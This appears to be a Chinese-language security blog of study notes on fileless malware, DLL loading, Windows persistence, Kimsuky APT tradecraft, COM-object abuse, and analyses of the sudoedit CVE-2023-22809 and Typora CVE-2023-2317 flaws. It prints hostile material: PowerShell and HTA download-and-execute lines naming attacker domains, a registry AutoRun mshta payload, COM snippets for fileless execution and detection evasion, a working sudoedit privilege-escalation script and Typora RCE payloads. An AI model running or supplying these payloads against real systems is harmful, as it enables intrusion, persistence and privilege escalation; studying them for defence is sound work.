Paul C's Blog

To be funny,to grow up!

0%

主打隐蔽,:

内存中,无文件落地到磁盘;

  • 内核级别操作 rootkit
  • 在内存中生成文件
  • 反射式DLL注入:这是一种技术,它允许恶意软件在不使用硬盘上的文件的情况下,将DLL注入到进程的内存中。
  • 进程注入:攻击者可以将自己的恶意进程注入到合法进程的地址空间中

  • DLL注入:恶意软件可以注入恶意动态链接库(DLL)到其他进程的内存中

Webshell的内存马分类:

1.servlet-api型
通过命令执行等方式动态注册一个新的listener、filter或者servlet,从而实现命令执行等功能。特定框架、容器的内存马原理与此类似,如spring的controller内存马,tomcat的valve内存马

2.字节码增强型
通过java的instrumentation动态修改已有代码,进而实现命令执行等功能。

客户端—>Listener—>Filter—>Servlet

在 web.xml 注册了一个 Filter 来对某个 Servlet 程序进行拦截处理 ;

Filter.doFilter —> 调用 FilterChain.doFilter ( FilterChain Object)—> 激活目标 Servlet 的 service ;

filter链
当多个filter同时存在的时候,组成了filter链。web服务器根据Filter在web.xml文件中的注册顺序,决定先调用哪个Filter。当第一个Filter的doFilter方法被调用时,web服务器会创建一个代表Filter链的FilterChain对象传递给该方法,通过判断FilterChain中是否还有filter决定后面是否还调用filter。

DLL 模块

  • .dll
  • .ocx, (Ole Control Extension) ,OCX控件,新的应用程序基本不再使用。
  • .cpl,控制面板程序 ,双击即可启动。

微软的补丁,通常是待更新的dll积累到一定程度后的一个Service Packs软件更新包。

ELF的动态链接可以运行时加载,Win下用这种技术用得更多,例如ActiveX。

Win32以后,进程有独立的地址空间,一个dll文件在不同的经常内部拥有不同的私有数据副本。

ELF的代码段是地址无关的,而DLL的代码并不是地址无关。

DLL共享利用点:

DLL共享数据段实现进程间通信,此时,dll中往往有两个数据段,一个是把共享的数据单独拿出来作为一个段的进程间共享数据段,另一个私有。

GUEST权限的用户可以通过修改DLL里的共享数据,影响到其他使用该 DLL文件的进程。因此,DLL共享数据段实现进程间通信应该尽量避免。

Dll开发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
//防止C++编译器进行符号修饰
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"

BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

extern "C" __declspec(dllexport) double Add(double a, double b)
{
return a + b;
}

// 减法函数
extern "C" __declspec(dllexport) double Subtract(double a, double b)
{
return a - b;
}

// 乘法函数
extern "C" __declspec(dllexport) double Multiply(double a, double b)
{
return a * b;
}
1
2
3
4
5
6
7
>dumpbin /EXPORTS Dll1.dll

ordinal hint RVA name

1 0 000110A0 Add
2 1 00011271 Multiply
3 2 000111C7 Subtract

​ .lib文件是一组目标文件的集合。

1
2
//加载静态链接库
#pragma comment(lib,"../Debug/libMathFunctions.lib")

加载动态链接库

https://www.cnblogs.com/houkai/archive/2013/06/05/3119513.html

隐式链接

1.2. 修改包含目录(.h所在文件)和库目录(.lib所在目录)

1694166330701

3.项目->属性->配置属性->链接器->输入-> 在“附加依赖项”里添加“testdll.lib”(

若有多个 lib 则以空格隔开)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <iostream>
#include <windows.h>

// 函数原型(导入DLL中的函数)
extern "C" __declspec(dllimport) double Add(double a, double b);
extern "C" __declspec(dllimport) double Subtract(double a, double b);
extern "C" __declspec(dllimport) double Multiply(double a, double b);

int main() {
double x = 10;
double y = 5;

// 调用DLL中的加法函数
double sum = Add(x, y);
std::cout << x << " + " << y << " = " << sum << std::endl;

// 调用DLL中的减法函数
double difference = Subtract(x, y);
std::cout << x << " - " << y << " = " << difference << std::endl;

// 调用DLL中的乘法函数
double product = Multiply(x, y);
std::cout << x << " * " << y << " = " << product << std::endl;

return 0;
}

Ctrl+F7编译通过,但是程序运行就报错,

还需要将testdll.dll复制到当前项目生成的可执行文件所在的目录。

显示链接

项目菜单——项目属性——配置属性——常规——高级——字符集,将使用Unicode字符集改为未设置即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <iostream>
#include <windows.h>
using namespace std;
int main()
{
typedef double (*pAdd)(double a, double b);
typedef double (*pSubtract)(double a, double b);

HMODULE hDLL = LoadLibrary("Dll1.dll"); //加载dll文件,需要把dll拷贝到当前目录
if (hDLL != NULL)
{
pAdd fp1 = pAdd(GetProcAddress(hDLL, MAKEINTRESOURCE(1))); //得到dll中的第一个函数
if (fp1 != NULL)
{
cout << fp1(2.5, 5.5) << endl;
}
else
{
cout << "Cannot Find Function " << "add" << endl;
}
pSubtract fp2 = pSubtract(GetProcAddress(hDLL, "Subtract")); //使用了externC,所以不用考虑C++修饰符
if (fp2 != NULL)
{
cout << fp2(5.5, 2.5) << endl;
}
else
{
cout << "Cannot Find Function " << "Subtract" << endl;
}
FreeLibrary(hDLL);
}
else
{
std::cout << "Cannot Find " << "Dll1.dll" << std::endl;
}
return 1;
}

Emptet下载器

技术特点:利用大小写,空格加base64绕过特征检测。

1
cmd /c powErshEll -nop -w hiddEn -Ep bypass -Enc {base64_encoded_string}
1
I E X   ( N e w - O b j e c t   N e t . W e b c l i e n t ) . d o w n l o a d s t r i n g ( " h t t p : / / e d u c a t i o l i n k . c o m / i n d e x . p h p " ) 

基础知识:

-nop:这是 -NoProfile 的简写,启动 PowerShell 时不加载用户的个人档案。

-w hiddEn 用于指定 PowerShell 窗口的显示样式。

bypass 设置表示没有任何限制:脚本可以运行,配置文件可以加载。

本文记录那些可以被用来权限维持以及信息探测的注册表项。

启动进程

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

用于指定那些只需要在下次系统启动时运行一次的程序或命令。与此位置相关的命令或程序在执行完一次后通常会从此列表中自动删除。

下载并执行

1
2
reg add 'HKCU\Software\Microsoft\Command Processor' 
/v AutoRun /t REG_SZ /d 'mshta.exe' http:/exam/1.hta /f

通过注册表设置命令行默认启动项,当目标启动cmd时,便会下载并执行远程hta文件。

本文记录那些windows中的敏感目录和信息。

最近访问的文件、关键文件目录、操作系统配置、进程列表和常见目录等系统信息

利用目录

开机启动项目

%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

%TEMP%/

%RARTMPDIR%

东北亚APT-kimsuky, 被认为来自朝鲜

1.利用Office模板

简介

模板具有特殊的文件格式,Word 2003 模板的文件扩展名为 .dot,Word 2007 及 Word 更高版本的模板文件的扩展名为 .dotx或 .dotm;dotx 为不包含 VBA 代码的模板;dotm 模板可以包含 VBA代码。

创建模板后,可以通过模板文件的图标来区分模板是否可以包含 VBA代码。

图标上带有叹号的模板文件,表示可以包含 VBA 代码;反之,图标上未带有叹号的模板文件,表示不能包含VBA 代码。

加载远程模板和恶意宏分离:

2020年4月,Kimsuky利用韩国议会选举的热度[1],投递了名为《第21届国民议会选举相关》的诱饵文档。该文档打开后会加载一个包含恶意宏的远程dotm模板,只有当dotm文件成功加载后,office才会提示用户启用宏。这种方法将初始钓鱼文档和包含恶意宏的远程文档分离,起到保护作用,因为初始文档除了加载远程模板外,并没有其他恶意行为。

2.利用Hta

HTML Application , 由 Microsoft 创建 的文件格式, 允许 Web 技术(如 HTML、JavaScript 和 VBScript)创建独立的可执行应用程序像exe那样执行。

.hta 合法目的一般是用来创建简单的桌面应用程序 ,但它可以访问计算机上的文件、注册表等资源, 被滥用作为恶意攻击的工具。由mshta.exe执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<html>
<script language="vbscript">
On Error Resume Next
Set Posto = CreateObject("MSXML2.ServerXMLHTTP.6.0")
Posto.open "GET", "baidu.com", False
' http://hpurusymireene.com/theme/basic/skin/member/basic/upload/eweerew.php?er=1
Posto.send
to = Posto.responseText
Execute(to)
</script>
</html>

<html>
<!--一个简单的子序列拼接函数-->
<!--输入'123456789abcdefghiklm'-->
<!--输出''1a2b3c4d5e6f7g8h9iklm''-->
<script language="vbscript">
On Error Resume Next

Function cooo(c)
L = Len(c)
s = ""
d = 9
For jx = 0 To d - 1
For ix = 0 To Int(L/d) - 1
s = s & Mid(c, ix*d+jx+1, 1)
Next
Next
s = s & Right(c, L - Int(L/d) * d)
cooo = s
End Function

Set Posto = CreateObject("MSXML2.ServerXMLHTTP.6.0")
Posto.open "GET", "baidu.com", False
' https://christinadudley.com/public_html/edudley/sites/default/files/1203427/expres.php?op=1
Posto.send
to = Posto.responseText
to = cooo(to)
Execute(to)
</script>
</html>

延迟执行:

某些变种在设置使用mshta下载hta的计划任务时,会令其不立即启动,以对抗某些单个程序运行时间受限的沙箱。

3.触发链

2019年3月,Kimsuky利用韩日在二战赔偿问题上的僵持局面,伪装成韩国外交部投递了名为“20190312日本每日趋势”的hwp诱饵文档

韩国hwp eps

hwp是韩国hansoft开发的hangul办公软件使用的文档 EPS(Encapsulated PostScript), 这种脚本是Adobe推出的PostScript脚本(一种用于初版行业的打印机编程语言)的分支 , 可以被利用来包含恶意代码。

1
hwp->eps->powershell-->wsf-->js-->恶意组件

4.利用pdf文档

Kimsuky在今年5~8月转而使用携带漏洞的恶意pdf文档,借用南北议题作为诱饵对韩国政府人员进行攻击

1
2
pdf-->adobe acrobat漏洞cve-2020-9715触发--->内嵌隐藏的恶意JS->解密pe
文件-->内存加载执行

5.VBS和VBA

VBA (Visual Basic for Applications) 和 VBS (VBScript) 都是基于 Visual Basic 语言的脚本语言,

VBS 通过wscript.exe(图形版)或者cscript.exe(命令行版)执行。

VBA:主要用于 Microsoft Office 应用程序(如 Excel、Word、Access)中的宏编程。

2020年6月,Kimsuky投递名为“朝鲜加强核战争威慑的措施及韩国的应对”的诱饵邀稿函,让目标就朝鲜第七届中央军事委员会,撰写文章进行评价与展望

技术特点:关键命令并不位于vba宏里,因此直接对宏进行静态检测将难以发现威胁

形式特点: 当用户点击启用内容后,真实表格才会显示出来 。

关于CLSID的利用,抄袭https://blog.51cto.com/u_15127538/2706618.

https://www.group-ib.com/blog/cve-2023-38831-winrar-zero-day/

启动 DarkMe backdoor :

1
rundll32.exe /sta {EA6FC2FF-7AE6-4534-9495-F688FEC7858C} 

COM (Component Object Model)

面向对象的编程模型,定义组件及其接口,让接口和实现分离, 组件信息通常存储在Windows注册表中 。

COM是在1990年代创建的,作为独立于语言的二进制互相操作性标准,COM使得单独的代码模块能够相互交互。这样一来,就可以在单个进程或跨进程中实现,为分布式COM(DCOM)添加序列化,允许通过网络进行远程过程调用(Remote Procedure Call)。

1.CLSID 类标识符

2.IID 接口标识符

3.组件的文件路径

可以使用oleview.exe查看。

几个有趣的COM对象

可以允许任务调度、无文件下载并执行、命令执行。尽管这些对象本身不是安全漏洞,但可以使用这些对象基于进程行为和启发式特征来对抗检测。

注册表项HKEY_CLASSES_ROOT\CLSID将公开枚举COM对象所需的所有信息,包括CLSID和ProgID。CLSID是与COM类对象关联的全局唯一标识符。ProgID是一个对开发者非常友好的字符串,表示底层的CLSID。

使用下面的PowerShell命令来获取CLSID列表。

1
2
3
4
列举HKCR下的CLSID:

New-PSDrive -PSProvider registry -Root HKEY_CLASSES_ROOT -Name HKCR
Get-ChildItem -Path HKCR:\CLSID -Name | Select -Skip 1 > clsids.txt

获取所有CLSID公开的方法和属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
用于枚举可用方法和属性的PowerShell Scriptlet:
得等待一会,因为有7356个条目要被执行

$Position = 1
$Filename = "win10-clsid-members.txt"
$inputFilename = "clsids.txt"
ForEach($CLSID in Get-Content $inputFilename) {
Write-Output "$($Position) - $($CLSID)"
Write-Output "------------------------" | Out-File $Filename -Append
Write-Output $($CLSID) | Out-File $Filename -Append
$handle = [activator]::CreateInstance([type]::GetTypeFromCLSID($CLSID))
$handle | Get-Member | Out-File $Filename -Append
$Position += 1
}

非Microsoft的COM对象通常会被省略,因为它们不能可靠地存在于目标及其上,这限制了这些对象在红蓝对抗实际蓝军*中的可用性。为了定位开发人员的计算机,我们在此项研究中涵盖了Windows SDK中的特定Microsoft COM对象。

在获得成员后,使用基于关键字的搜索方法快速得到结果。在我们的研究中,使用了以下关键字:execute(执行)、exec(执行)、spawn(派生)、launch(执行)和run(运行)。

启动进程

可以启动命令,如下所示。

使用ProcessChainLib COM服务器启动进程:

1
2
3
4
5
$handle = [activator]::CreateInstance([type]::GetTypeFromCLSID("E430E93D-09A9-4DC5-80E3-CBB2FB9AF28E"))

$handle.CommandLine = "cmd /c whoami"

$handle.Start([ref]$True)

无文件下载和执行

COM对象{F5078F35-C551-11D3-89B9-0000F81FE221}(Msxml2.XMLHTTP.3.0)公开了一个XML HTTP 3.0功能,该功能可用于下载任意代码并执行,无需将Payload写入磁盘,并且不会触发寻找常用System.Net.WebClient的规则。XML HTTP 3.0对象通常用于执行AJAX请求。在这种情况下,可以使用Invoke-Expression Cmdlet(IEX)直接执行获取的数据。

下面的示例展示了本地执行代码的过程。

不包含System.Net.WebClient的无文件下载:

1
2
3
$o = [activator]::CreateInstance([type]::GetTypeFromCLSID("F5078F35-C551-11D3-89B9-0000F81FE221"));
$o.Open("GET", "http://127.0.0.1/payload", $False);
$o.Send(); IEX $o.responseText;

任务调度

另一个例子是{0F87369F-A4E5-4CFC-BD3E-73E6154572DD},它实现了用于操作Windows任务调度程序服务的Schedule.Service类。该COM对象允许特权用户在不使用schtasks.exe二进制文件或at命令的情况下,在主机(包括远程主机)上执行计划任务。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
$TaskName = [Guid]::NewGuid().ToString()

$Instance = [activator]::CreateInstance([type]::GetTypeFromProgID("Schedule.Service"))

$Instance.Connect()

$Folder = $Instance.GetFolder("\")

$Task = $Instance.NewTask(0)

$Trigger = $Task.triggers.Create(0)

$Trigger.StartBoundary = Convert-Date -Date ((Get-Date).addSeconds($Delay))

$Trigger.EndBoundary = Convert-Date -Date ((Get-Date).addSeconds($Delay   120))

$Trigger.ExecutionTimelimit = "PT5M"

$Trigger.Enabled = $True

$Trigger.Id = $Taskname

$Action = $Task.Actions.Create(0)

$Action.Path = “cmd.exe”

$Action.Arguments = “/c whoami”

$Action.HideAppWindow = $True

$Folder.RegisterTaskDefinition($TaskName, $Task, 6, "", "", 3)

 

function Convert-Date {      

 

        param(

             [datetime]$Date

 

        )      

 

        PROCESS {

               $Date.Touniversaltime().tostring("u") -replace " ","T"

        }

}

COM对象枚举:递归COM对象

每个对象都可能会返回无法直接创建的其他对象。在这里,引入的更改以递归方式搜索COM对象,这些对象仅通过每个枚举OCM对象的成员方法和属性公开。在原始方法中,查看了每个对象直接公开的方法,并没有递归到任何属性,这些属性也可能是自身具有值得关注的方法的COM对象,可以找到调用公开代码执行COM对象方法的新方法。

例子1

目前公开的所有使用COM对象执行代码的技术,发现它们之间具有一个共同点,就是都利用了在COM对象的子属性中公开的方法。一个例子是“MMC20.Application”COM对象。要利用此COM对象实现代码执行,我们需要在“Document.ActiveView”属性返回的View对象上使用“ExecuteShellCommand”方法,正如Matt Nelson在博客文章上所写的那样。在下图中,我们可以看到该方法只能在“Document.ActiveView”返回的对象中被发现,并且不会被MMC20.Application COM对象直接暴露。

列出MMC20.Application COM对象中的ExecuteShellCommand方法:

1693235040046

例子2

另一个例子是“ShellBrowserWindow”COM对象,这也是由Matt Nelson在博客文章中首次撰写的。如下图所示,“ShellExecute”方法没有直接暴露在COM对象中。但是,“Document.Application”属性返回Shell对象的实例,该实例公开ShellExecute方法。

在ShellBrowserWindow COM对象中列出ExecuteShellCommand方法:

1693235288620

作为前两个示例的证据,重要的是不仅要查看COM对象直接公开的方法,还要递归查找具有作为COM对象属性公开的可用方法的对象。这个示例说明了为什么仅仅静态探索COM对象的类型库可能是不够的,只有在动态枚举泛型类型IDispatch的对象后才能访问相关函数。这种递归的方法可以实现查找用于代码执行的新COM对象,以及使用可用于代码执行的公开COM对象的不同方法。

使用这种递归方法,如何找到一种调用公开COM对象方法的新途径呢?我们可以参考“ShellBrowserWindow”COM对象中的“ShellExecute”方法。该方法在本文前面已经详细说明过。以前,众所周知,在“ShellBrowserWindow”COM对象中调用此方法的方式是使用“Document.Application”属性。通过递归COM对象方法,我们发现,还可以对“Document.Application.Parent”属性返回的对象调用“ShellExecute”方法,如下图所示。可以逃避检测。

例子3

使用ShellBrowserWindow COM对象调用ShellExecute的替代方法:

1693235404222

命令执行

使用这种递归COM对象方法进行探索后,我们能够找到一个ProgID为“Excel.ChartApplication”的COM对象,该对象可用于使用DDEInitiate方法执行代码。这种启动可执行文件的DDEInitiate方法首先在“Excel.Application”COM对象中被滥用,如Cybereason所写的文章所示。“Excel.ChartApplication”COM对象中有多个属性,它们返回可用于执行DDEInitiate方法的对象,如下图所示。尽管这个DDEInitiate方法也是由COM对象直接公开的,但它是在最初的探索过程中被发现的,是在可以从此对象访问的其他对象中公开的方法。

使用Excel.ChartApplication COM对象调用DDEInitiate的3种方法:

1693235499814

该COM对象也可以实例化,并远程用于Office 2013,如下图所示。COM对象只能在Office 2016中本地实例化。当尝试远程实例化Office 2016时,将会返回错误代码,表示COM对象类未注册远程实例化。

使用Excel.ChartApplication远程*Office 2013:

1693235560701

总结

COM对象非常强大,功能多样,并且与Windows集成,这也就意味着COM对象几乎总是可用的。COM对象可以用于打破不同的检测模式,包括命令行参数、PowerShell日志记录和启发式检测。COM对象方法的递归搜索,可以帮助我们发现可用于代码执行的新COM对象,以及调用众所周知COM对象方法的新思路。这些COM对象方法可用于打破不同的检测模式,也可以用于横向移动。

/usr/include/unistd.h 一些系统调用的C语言形式定义

/usr/include/asm-/unistd.h 存放系统调用号

linux-5.6.18\arch\x86\kernel\traps.c x86的部分中断向量表

绕过glibc获得更高的文件读写性能。

为了兼容不同系统的系统调用(定义、实现会各不相同),增加一个抽象层——运行库(标准库),保证了源码级别的可移植性 。

CRT只能取各个平台功能的交集。

1
2
3
4
5
mov 2,eax ;把fork的系统调用号传到寄存器
int 0x80 ;调用中断
;中断服务程序从eax里取得系统调用号,
;查表,eax=2
;调用sys_fork函数

1.触发中断

x86下Linux支持的系统调用参数最多可以达到6个,分别用EBX、ECX、EDX、ESI、EDI、EBP存储。

2.堆栈切换

用户态的ESP和SS的值保存在内核栈里。

当0x80号中断nt 发生时,

1.CPU切入内核态

2.CPU找到当前进程的内核栈

3.在内核栈中依次压入用户态的SS、ESP、EFLAGS、CS(环境)、EIP(返回地址)。

当iret时,再依次弹出这些值到对应的寄存器里。

3.中断处理程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
INT x:

根据x的值

if x=00: 除0

if x=0x14: 缺页

if x=0x02 :硬件驱动

if x=0x80: system_call

{

​ eax=1 =>sys_exit

​ eax=2 =>sys_fork

​ eax=3 =>sys_read

}

CVE-2023-22809(sudoedit权限提升漏洞)分析

https://mp.weixin.qq.com/s/uiAEnK5tqkKh0bqWPoTIKg

漏洞简介:Sudo中的sudoedit对处理用户提供的环境变量(如SUDO_EDITOR、VISUAL和EDITOR)中传递的额外参数存在缺陷。当用户指定的编辑器包含绕过sudoers策略的“–”参数时,拥有sudoedit访问权限的本地攻击者可以实现任意文件编辑 ,最终实现权限提升 。

1
2
◆漏洞评分:7.8分
◆影响版本:sudo 1.8.0-sudo 1.9.12p1(sudo>=1.8.0 or sudo <=1.9.12p1)

实验环境

VMware Ubuntu22

sudo-1.9.12p1

test用户拥有执行sudoedit的能力,但不能执行sudo。

配置过程

1.安装sudo-1.9.12p1/

1
2
3
4
wget https://www.sudo.ws/dist/sudo-1.9.12p1.tar.gz
tar -zxvf ./sudo-1.9.12p1.tar.gz
cd sudo-1.9.12p1/
./configure && make && make install

2.设置test用户权限

1
2
3
4
5
6
useradd -m test #添加攻击用低权限用户
passwd test -d #设置为空密码
vim /etc/sudoers #给test sudoedit权限
添加下面两行
Cmnd_Alias SUDOEDIT = sudoedit /etc/custom_test.txt
test ALL=(ALL:ALL) SUDOEDIT

此时sudoedit只能编辑/etc/custom_test.txt。

1693146377666

漏洞利用

1.EXP 记得行尾保存为Unix格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env bash
#

if ! sudo --version | head -1 | grep -qE '(1\.8.*|1\.9\.[0-9]1?(p[1-3])?|1\.9\.12p1)$'
then
echo "> Currently installed sudo version is not vulnerable"
exit 1
fi
#判断sudoers里有无test ALL=(ALL:ALL) sudoedit
EXPLOITABLE=$(sudo -l | grep -E "sudoedit|sudo -e" | grep -E '\(root\)|\(ALL\)|\(ALL : ALL\)' | cut -d ')' -f 2-)

if [ -z "$EXPLOITABLE" ]; then
echo "> It doesn't seem that this user can run sudoedit as root"
read -p "Do you want to proceed anyway? (y/N): " confirm && [[ $confirm == [yY] ]] || exit 2
else
echo "> BINGO! User exploitable"
fi

echo "> Opening sudoers file, please add the following line to the file in order to do the privesc:"
echo "$USER ALL=(ALL:ALL) ALL"
read -n 1 -s -r -p "Press any key to continue..."
echo "$EXPLOITABLE"
#下面的payload实际上是EDITOR="vim -- /etc/sudoers" sudoedit
EDITOR="vim -- /etc/sudoers" $EXPLOITABLE
sudo su root
exit 0

2.在上面的exp运行时,按两下回车,会自动打开sudoers的编辑界面。

1
2
3
4
5
将之前的
test ALL=(ALL:ALL) sudoedit
改为-->
test ALL=(ALL:ALL) ALL
保存退出

此时,如果不对sudoers进行编辑,退出时会发现,此时执行了三次sudoedit。

1693146781832

3.返回运行exp的界面,回车继续运行。

1693142053286

成功提权。

漏洞分析

简述

sudoedit —> plugins/sudoers/editor.c的 find_editor函数—->resolve_editor

执行 sudoedit 时,会调用 plugins/sudoers/editor.c 中的 find_editor 函数,find_editor 会根据 SUDO_EDITOR、VISUAL、EDITOR 三个环境变量设置的编辑器来指定编辑器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
char *
find_editor(int nfiles, char **files, int *argc_out, char ***argv_out,
char * const *allowlist, const char **env_editor)
{
/* ... */
*env_editor = NULL;
ev[0] = "SUDO_EDITOR";
ev[1] = "VISUAL";
ev[2] = "EDITOR";
for (i = 0; i < nitems(ev); i++) {
char *editor = getenv(ev[i]);

if (editor != NULL && *editor != '\0') {
*env_editor = editor;
/* 解析环境变量的值 */
editor_path = resolve_editor(editor, strlen(editor),
nfiles, files, argc_out, argv_out, allowlist);
if (editor_path != NULL)
break;
if (errno != ENOENT)
debug_return_str(NULL);
}
}

/* ... */
}

如果设置了环境变量,就调用 resolve_editor 函数去解析,问题就出在这个函数中,以下为关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
static char *
resolve_editor(const char *ed, size_t edlen, int nfiles, char **files,
int *argc_out, char ***argv_out, char * const *allowlist)
{
/* ... */
//从编辑器名称(vim)后的字符串直接开始,通过wordsplit来计算参数(nargc)的数量。
for (nargc = 1, tmp = ep; wordsplit(NULL, edend, &tmp) != NULL; )
nargc++;
if (nfiles != 0)
nargc += nfiles + 1;
//根据参数数量申请对应大小的空间(nfiles即要编辑的文件数量)
nargv = reallocarray(NULL, nargc + 1, sizeof(char *));

......

/* Fill in editor argv (assumes files[] is NULL-terminated). */
nargv[0] = editor;
editor = NULL;
//把参数拷贝到nargv数组中
for (nargc = 1; (cp = wordsplit(NULL, edend, &ep)) != NULL; nargc++) {
/* Copy string, collapsing chars escaped with a backslash. */
nargv[nargc] = copy_arg(cp, ep - cp);
......
//nargv[]={'vim','--','/etc/sudoers'}
}
if (nfiles != 0) {
//出问题的点
nargv[nargc++] = (char *)"--";
//nargv[]={'vim','--','/etc/sudoers','--'}
while (nfiles--)
nargv[nargc++] = *files++;
//nargv[]={'vim','--','/etc/sudoers','--','/etc/custom_test.txt'}
}
nargv[nargc] = NULL;

*argc_out = nargc;
*argv_out = nargv;//最后的输出部分,用于接下来的sudoedit
//此时,nargv[3]='--'
/* ... */
}

所以如果执行 Payload:

最后一步:sudo_edit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
最后一步:sudo_edit

// src/sudo_edit.c@sudo_edit()
int
sudo_edit(struct command_details *command_details)
{
// [...]
/*
* Set real, effective and saved uids to root.
* We will change the euid as needed below.
*/
//设置了ROOT权限和临时可写目录
setuid(ROOT_UID);
// [...]
/* Find a temporary directory writable by the user. */
set_tmpdir(&user_details.cred);
// [...]
/*
* The user's editor must be separated from the files to be
* edited by a "--" option.
*/
//argv[]={'vim','--','/etc/sudoers','--','/etc/custom_test.txt'}
for (ap = command_details->argv; *ap != NULL; ap++) {
if (files)
nfiles++;
//命令行参数与--比较,如果相同则将下一个内容视为要编辑的文件名
else if (strcmp(*ap, "--") == 0)
files = ap + 1;
else
editor_argc++;
}
1
SUDO_EDITOR='vim -- /etc/sudoers' sudoedit /etc/custom_test.txt

其中的“—”就会让/etc/sudoers对应的临时文件可以被编辑,从进程中也能看到:

1693147033838

漏洞修复

https://github.com/sudo-project/sudo/commit/0274a4f3b403162a37a10f199c989f3727ed3ad4

如果出现以下提示,说明漏洞已经修复:

1
2
3
4
5
6
/*
* We use "--" to separate the editor and arguments from the files
* to edit. The editor arguments themselves may not contain "--".
*/
if (strcmp(nargv[nargc], "--") == 0) {
sudo_warnx(U_("ignoring editor: %.*s"), (int)edlen, ed);

1693140214261

简单补丁

把受影响的环境变量添加到拒绝列表中。

1
2
3
defaults!SUDOEDIT env_delete+="SUDO_EDITOR VISUAL EDITOR"
Cmnd_Alias SUDOEDIT = sudoedit /etc/custom/service.conf
user ALL=(ALL:ALL) SUDOEDIT

通过sudoedit命令仅编辑/etc/custom/service.conf文件,并且您希望禁用他们使用SUDO_EDITORVISUALEDITOR这些环境变量来更改默认编辑器。

CVE-2023-2317 Typora远程代码执行漏洞

CVE-2023-2971Typora Local File Disclosure (Patch Bypass)

Windows和Linux版本1.6.7之前的Typora中的updater/update.html中存在基于DOM的XSS,该漏洞允许通过加载特制的markdown文件从而使得执行任意JavaScript代码。如果用户打开恶意markdown文件或者从恶意网页复制文本并将其粘贴到Typora,通过在<embed>标签中引用update.html,则可以利用此漏洞,此外,攻击者可以使用特权接口reqnode访问节点模块child_process并执行任意系统命令。

在Typora中嵌入下面的两个标签,渲染后人眼无法看到任何内容。

1
2
3
4
5
6
<embed style="height:0;" src="typora://app/typemark/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=[%22%22,%22%3csvg%2fonload=top.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoKHtXaW4zMjogJ2NhbGMnLCBMaW51eDogJ2dub21lLWNhbGN1bGF0b3IgLWUgIlR5cG9yYSBSQ0UgUG9DIid9KVtuYXZpZ2F0b3IucGxhdGZvcm0uc3Vic3RyKDAsNSldKQ=='))><%2fsvg>%22,%22%22,%22%22,%22%22,%22%22]">

reqnode('child_process').exec(({Win32: 'calc', Linux: 'gnome-calculator -e "Typora RCE PoC"'})[navigator.platform.substr(0,5)])
<embed style="height:0;" src="typora://app/typemark/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=[%22%22,%22%3csvg%2fonload=top.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoKHtXaW4zMjogJ25vdGVwYWQgd3d3LmV4cHBvYy5vcmcnLCBMaW51eDogJ2dub21lLWNhbGN1bGF0b3IgLWUgIlR5cG9yYSBSQ0UgUG9DIid9KVtuYXZpZ2F0b3IucGxhdGZvcm0uc3Vic3RyKDAsNSldKQ=='))><%2fsvg>%22,%22%22,%22%22,%22%22,%22%22]">

reqnode('child_process').exec(({Win32: 'notepad www.exppoc.org', Linux: 'gnome-calculator -e "Typora RCE PoC"'})[navigator.platform.substr(0,5)])

其中,

%22 :”

%2f :/

%3c :<

base64编码的内容为:

1
2
3
4
5
6
reqnode('child_process').exec(
({Win32: 'calc', Linux: 'gnome-calculator -e "Typora RCE PoC"'})
[navigator.platform.substr(0,5)])
reqnode('child_process').exec(
({Win32: 'notepad www.exppoc.org', Linux: 'gnome-calculator -e "Typora RCE PoC"'})
[navigator.platform.substr(0,5)])

2317漏洞原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<script type="text/javascript">
var curVersion = /[?&]curVersion=([^&]+)/.exec(window.location.search)[1];
var newVersion = /[?&]newVersion=([^&]+)/.exec(window.location.search)[1];
var labels = JSON.parse(decodeURIComponent(/[?&]labels=([^&]+)/.exec(window.location.search)[1]));

document.querySelector("#sum").innerText = labels[4] + " " + labels[5].replace("$1", newVersion).replace("$2", curVersion);
document.querySelectorAll("[data-label]").forEach(function(dom){
dom.innerHTML = labels[dom.getAttribute("data-label") - 0];
});

var autoUpdateInput = document.querySelector("#preference-enable-auto-update")
autoUpdateInput.checked = !!isAutoUpdateEnabled;
autoUpdateInput.onchange = toggleAutoUpdate;
</script>

window.location.search: 返回URL的查询字符串,即”?”后面的部分。

1
